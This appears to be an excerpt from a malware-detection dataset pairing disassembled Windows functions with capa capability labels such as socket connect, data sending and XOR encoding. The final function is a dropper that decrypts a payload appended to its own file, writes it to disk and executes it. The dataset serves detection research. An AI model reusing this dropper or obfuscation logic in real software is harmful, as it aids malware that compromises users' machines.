joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c0
mov esi, ecx
lea eax, [ebp - 0x1cc]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
movaps xmm0, xmmword [str._t__p]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x75b4d5a8
mov dword [ebp - 0x18], 0x7b0e8247
xor ebx, ebx
lea edi, [ebp - 0x2c]
nop
mov ecx, edi
push dword [ebp - 0x2c]
push dword [ebp + ebx*4 - 0x20]
call fcn.10008fc0
mov dword [ebp + ebx*4 - 0x20], eax
inc ebx
cmp ebx, dword [ebp - 0x28]
jb 0x10001040
mov eax, dword [ebp - 0x24]
push dword [ebp + eax*4 - 0x20]
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
xor ebx, ebx
cmp eax, 0xffffffff
je 0x10001142
movaps xmm0, xmmword [0x10017090]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x45c1db84
mov dword [ebp - 0x18], 0x4b1b8823
mov dword [ebp - 0x14], 0x507534c2
lea edi, [ebp - 0x2c]
nop word [eax + eax]
mov ecx, edi
push dword [ebp - 0x2c]
push dword [ebp + ebx*4 - 0x20]
call fcn.10008fc0
mov dword [ebp + ebx*4 - 0x20], eax
inc ebx
cmp ebx, dword [ebp - 0x28]
jb 0x100010a0
mov eax, dword [ebp - 0x24]
movzx eax, word [ebp + eax*4 - 0x20]
mov word [ebp - 0x3c], ax
lea edi, [ebp + 8]
movzx eax, word [edi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x3a], ax
lea eax, [ebp - 0x38]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x100010e3
mov ecx, dword [edi]
push eax
push ecx
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [ebp - 0x3c]
push 0x10
push eax
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, eax
movaps xmm0, xmmword [0x100170a0]
movups xmmword [ebp - 0x2c], xmm0
movaps xmm0, xmmword [0x100170b0]
movups xmmword [ebp - 0x1c], xmm0
xor ebx, ebx
lea edi, [ebp - 0x2c]
nop dword [eax]
mov ecx, edi
push dword [ebp - 0x2c]
push dword [ebp + ebx*4 - 0x20]
call fcn.10008fc0
mov dword [ebp + ebx*4 - 0x20], eax
inc ebx
cmp ebx, dword [ebp - 0x28]
jb 0x10001120
mov eax, dword [ebp - 0x24]
cmp esi, dword [ebp + eax*4 - 0x20]
setne bl
lea ecx, [ebp + 8]
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x10001178
mov ecx, dword [ecx]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x1000116e
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10001187
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10015b8b
add esp, 8
mov eax, ebx
add esp, 0x1c0
pop esi
pop edi
pop ebx
pop ebp
ret 0x1c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x100011f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x201c
call fcn.10015c80
mov dword [ebp - 0x2014], ecx
mov esi, dword [ebp + 8]
mov eax, dword [0x1001e958]
xor eax, ebp
mov dword [ebp - 0x10], eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, dword [esi + 4]
sub ecx, dword [esi]
xor edi, edi
mov dword [ebp - 0x2024], eax
sar eax, 0x1f
mov dword [ebp - 0x2020], eax
jmp 0x10001268
xor esi, esi
mov eax, dword [ebp - 0x2014]
push dword [eax + 0xc]
call sub.MSVCP140.dll__Mtx_unlock
add esp, 4
add edi, ebx
mov eax, dword [ebp - 0x2028]
mov ecx, eax
sub ecx, ebx
cmp esi, 0xffffffff
je 0x10001350
mov eax, ecx
test ecx, ecx
je 0x10001350
cmp eax, 0x1ff0
mov ebx, 0x1ff0
mov dword [ebp - 0x2028], eax
cmovl ebx, eax
mov eax, dword [ebp - 0x2014]
mov esi, dword [eax + 0xc]
push esi
call sub.MSVCP140.dll__Mtx_lock
add esp, 4
test eax, eax
jne 0x1000136e
cmp dword [esi + 0x2c], 0x7fffffff
je 0x10001375
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
sub ecx, eax
mov dword [ebp - 0x2010], ecx
mov ecx, dword [ebp - 0x2020]
mov dword [ebp - 0x2008], ecx
mov ecx, dword [ebp - 0x2024]
mov dword [ebp - 0x200c], ecx
mov dword [ebp - 0x2004], ebx
add eax, edi
push ebx
push eax
lea eax, [ebp - 0x2000]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, ebx
add esi, 0x10
je 0x10001240
mov dword [ebp - 0x2018], edi
lea edi, [ebp - 0x2010]
mov dword [ebp - 0x201c], esi
nop word [eax + eax]
push 0
push esi
push edi
mov eax, dword [ebp - 0x2014]
push dword [eax + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001340
add edi, eax
sub esi, eax
jne 0x10001310
mov edi, dword [ebp - 0x2018]
mov esi, dword [ebp - 0x201c]
jmp 0x10001242
mov esi, 0xffffffff
mov edi, dword [ebp - 0x2018]
jmp 0x10001242
test eax, eax
sete bl
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015bbc
mov eax, ebx
add esp, 0x201c
pop esi
pop edi
pop ebx
pop ebp
ret 4
push 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
mov dword [esi + 0x2c], connect
push 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x1000b2e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov ebx, dword [ebp + 8]
mov eax, dword [0x1001e958]
xor eax, ebp
mov dword [ebp - 0x10], eax
cmp ebx, 0xffffffff
je 0x1000b3b7
mov esi, ecx
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x1000b326
mov eax, dword [esi + 0x30]
mov ecx, dword [eax]
test ecx, ecx
jle 0x1000b326
dec ecx
mov dword [eax], ecx
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
lea edx, [ecx + 1]
mov dword [eax], edx
mov byte [ecx], bl
jmp 0x1000b3fa
cmp dword [esi + 0x4c], 0
je 0x1000b3bb
mov eax, dword [esi + 0xc]
lea ecx, [esi + 0x3c]
cmp dword [eax], ecx
jne 0x1000b34e
mov ecx, dword [esi + 0x50]
mov edx, dword [esi + 0x54]
mov dword [eax], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
sub edx, ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
je 0x1000b3c2
mov byte [ebp - 0x31], bl
lea eax, [esi + 0x40]
mov edx, dword [ecx]
lea edi, [ebp - 0x3c]
push edi
lea edi, [ebp - 0x10]
push edi
lea edi, [ebp - 0x30]
push edi
lea edi, [ebp - 0x38]
push edi
lea edi, [ebp - 0x30]
push edi
lea edi, [ebp - 0x31]
push edi
push eax
call dword [edx + 0x1c]
mov ecx, 0xffffffff
cmp eax, 2
jae 0x1000b3da
mov edi, dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
sub edi, eax
je 0x1000b3a6
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov ecx, 0xffffffff
add esp, 0x10
cmp edi, eax
jne 0x1000b3f8
mov byte [esi + 0x3d], 1
lea eax, [ebp - 0x31]
cmp dword [ebp - 0x38], eax
mov eax, 0xffffffff
jmp 0x1000b3f3
xor ebx, ebx
jmp 0x1000b3fa
mov ebx, 0xffffffff
jmp 0x1000b3fa
movsx eax, bl
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
cmp eax, 0xffffffff
cmove ebx, eax
jmp 0x1000b3fa
cmp eax, 3
jne 0x1000b3f8
movsx eax, byte [ebp - 0x31]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
cmp eax, 0xffffffff
cmove ebx, eax
mov ecx, ebx
mov ebx, ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015bbc
mov eax, ebx
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x1000b7b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, ecx
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
cmp esi, 1
mov eax, ecx
sbb eax, 0
jl 0x1000b7e0
cmp dword [ebx + 0x38], 0
je 0x1000b7e9
mov ecx, ebx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
jmp dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
xor eax, eax
xor edx, edx
jmp 0x1000b89e
mov dword [ebp - 0x10], ecx
mov edi, dword [ebp + 8]
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
test eax, eax
mov dword [ebp - 0x14], esi
je 0x1000b828
mov ecx, dword [ebx + 0x2c]
mov ecx, dword [ecx]
test ecx, ecx
je 0x1000b828
cmp ecx, esi
cmovae ecx, esi
mov dword [ebp - 0x18], ecx
push ecx
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebp - 0x18]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
add edi, ecx
sub esi, ecx
cmp dword [ebx + 0x4c], 0
je 0x1000b893
mov eax, dword [ebx + 0xc]
lea ecx, [ebx + 0x3c]
cmp dword [eax], ecx
jne 0x1000b850
mov ecx, dword [ebx + 0x50]
mov edx, dword [ebx + 0x54]
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
sub edx, ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
nop dword [eax]
cmp esi, 0x1000
jb 0x1000b879
push dword [ebx + 0x4c]
push 0xfff
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
add edi, eax
sub esi, eax
cmp eax, 0xfff
je 0x1000b850
jmp 0x1000b893
test esi, esi
je 0x1000b891
push dword [ebx + 0x4c]
push esi
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
sub esi, eax
jmp 0x1000b893
xor esi, esi
mov eax, dword [ebp - 0x14]
sub eax, esi
mov edx, dword [ebp - 0x10]
sbb edx, 0
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x1000b8b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, ecx
cmp dword [ecx + 0x38], 0
je 0x1000b8d0
mov ecx, ebx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
jmp dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
mov edx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebx + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1000b943
mov dword [ebp - 0x10], ecx
cmp esi, 1
mov ecx, edx
sbb ecx, 0
jl 0x1000b94d
mov edi, esi
mov ecx, dword [ebx + 0x30]
mov esi, dword [ecx]
test esi, esi
jle 0x1000b949
mov dword [ebp - 0x14], edi
cmp esi, edi
mov ecx, edi
cmovb ecx, esi
test edx, edx
cmove esi, edi
cmove esi, ecx
push esi
mov edi, dword [ebp - 0x10]
push edi
push eax
mov dword [ebp - 0x18], edx
call sub.VCRUNTIME140.dll_memcpy
mov ecx, edi
mov edx, dword [ebp - 0x18]
add esp, 0xc
add ecx, esi
mov edi, dword [ebp - 0x14]
sub edi, esi
mov eax, edx
sbb eax, 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x30]
sub dword [eax], esi
mov eax, dword [ebx + 0x20]
add dword [eax], esi
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
jmp 0x1000b954
mov edi, esi
mov eax, edx
jmp 0x1000b954
mov esi, edi
jmp 0x1000b94f
mov edi, esi
mov eax, edx
mov ecx, dword [ebp - 0x10]
cmp edi, 1
mov dword [ebp - 0x10], eax
sbb eax, 0
jl 0x1000b986
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1000b986
push eax
push edi
push 1
push ecx
mov ebx, esi
mov esi, edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov edx, esi
mov esi, ebx
add esp, 0x10
sub edi, eax
mov eax, dword [ebp - 0x10]
sbb eax, 0
jmp 0x1000b989
mov eax, dword [ebp - 0x10]
sub esi, edi
sbb edx, eax
mov eax, esi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 0xc

Function at 0x1000bd90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [0x1001e958]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov bl, 1
cmp dword [ecx + 0x38], 0
je 0x1000be11
mov esi, ecx
cmp byte [ecx + 0x3d], 0
je 0x1000be11
mov eax, dword [esi]
mov ecx, esi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1000be0f
mov ecx, dword [esi + 0x38]
lea edx, [esi + 0x40]
mov ebx, dword [ecx]
lea eax, [ebp - 0x34]
lea edi, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push edx
call dword [ebx + 0x20]
cmp eax, 3
je 0x1000be25
cmp eax, 1
je 0x1000bdeb
test eax, eax
jne 0x1000be0f
mov byte [esi + 0x3d], 0
mov ebx, dword [ebp - 0x34]
sub ebx, edi
je 0x1000be06
push dword [esi + 0x4c]
push ebx
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp ebx, eax
jne 0x1000be0f
cmp byte [esi + 0x3d], 0
sete bl
jmp 0x1000be11
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015bbc
mov eax, ebx
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov byte [esi + 0x3d], 0
mov bl, 1
jmp 0x1000be11
Function at 0x1000cd00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x100156e0
mov eax, dword fs:[0]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
mov dword fs:[0], eax
mov esi, dword [ebp + 0xc]
push 0x24
call fcn.10015b56
mov ecx, edi
add esp, 4
mov edi, eax
mov eax, dword [esi]
mov dword [edi], eax
xorps xmm0, xmm0
movups xmmword [edi + 4], xmm0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0x10
jb 0x1000cd69
mov ecx, dword [ecx]
test edx, edx
js 0x1000ce52
mov eax, edi
add eax, 4
cmp edx, 0xf
mov dword [ebp - 0x34], eax
ja 0x1000cd93
mov dword [edi + 0x14], edx
mov dword [edi + 0x18], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [eax], xmm0
jmp 0x1000ce18
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], edi
mov dword [edi + 0x18], 0xf
mov dword [ebp - 0x24], edx
mov eax, edx
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp ecx, 0xfff
mov dword [ebp - 0x30], ecx
jb 0x1000cde1
lea eax, [ecx + 0x24]
mov dword [ebp - 0x10], 0
push eax
call fcn.10015b56
add esp, 4
mov ecx, eax
add eax, 0x23
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x1000cdf4
lea eax, [ecx + 1]
mov dword [ebp - 0x10], 0
push eax
call fcn.10015b56
add esp, 4
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x20]
mov dword [edi + 4], eax
mov dword [edi + 0x14], edx
mov esi, dword [ebp - 0x30]
mov dword [edi + 0x18], esi
inc edx
push edx
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [edi + 0x1c], eax
lea esi, [ebx + 4]
push esi
push 0
push edi
push 0x1000d1b0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [ebx], eax
test eax, eax
je 0x1000ce61
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, ebx
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 0
call fcn.10008fe0
mov dword [ebp - 0x20], edi
mov dword [esi], 0
mov dword [ebp - 0x10], 1
push 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
add esp, 4
nop dword [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
cmp eax, 0x10
jb 0x1000cec0
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x1000ceb6
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x1000cecd
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10015b8b
add esp, 8
push dword [ebp - 0x20]
call fcn.10015b86
add esp, 0x1c
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop word cs:[eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
push dword [ebp - 0x20]
call fcn.10015b86
add esp, 0x1c
pop ebp
ret
Function at 0x1001612a
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
push 0x105
call fcn.100161a0
mov edi, eax
test edi, edi
jne 0x10016151
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov eax, esi
jmp 0x1001619a
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ebx, 0xffffffff
cmp eax, ebx
je 0x10016195
test al, 0x10
je 0x10016195
test eax, 0x400
je 0x10016191
push 0x2000000
push 0x80
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.10016049
push dword [ebp - 4]
mov esi, eax
call fcn.1001607d
test esi, esi
jne 0x10016195
xor edx, edx
jmp 0x10016197
mov edx, ebx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x1001621a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.100161f6
pop esi
leave
ret 8
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412eaa
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x7c
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 8
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x7f
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x1b
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x22
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x85
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x59
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x36
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xa1
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x29
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xad
add esp, 0x40
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf4
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x48
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x1d
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xc6
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d20
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451bc9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451bda
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405907
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b072
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b083
pop esi
ret
push ebx
push edi
push esi
call fcn.0049af59
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b0ab
push ebx
push esi
push edi
call fcn.004056fa
add esp, 0xc
push 0
call fcn.00406244
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x40ed69
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x40eae0
add edx, esi
add edx, 0x25576d02
call fcn.0040ed8b
xor dword [eax], ebx
sub esi, 0x100b675e
inc eax
cmp eax, ecx
jne fcn.0040ed69
ret

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]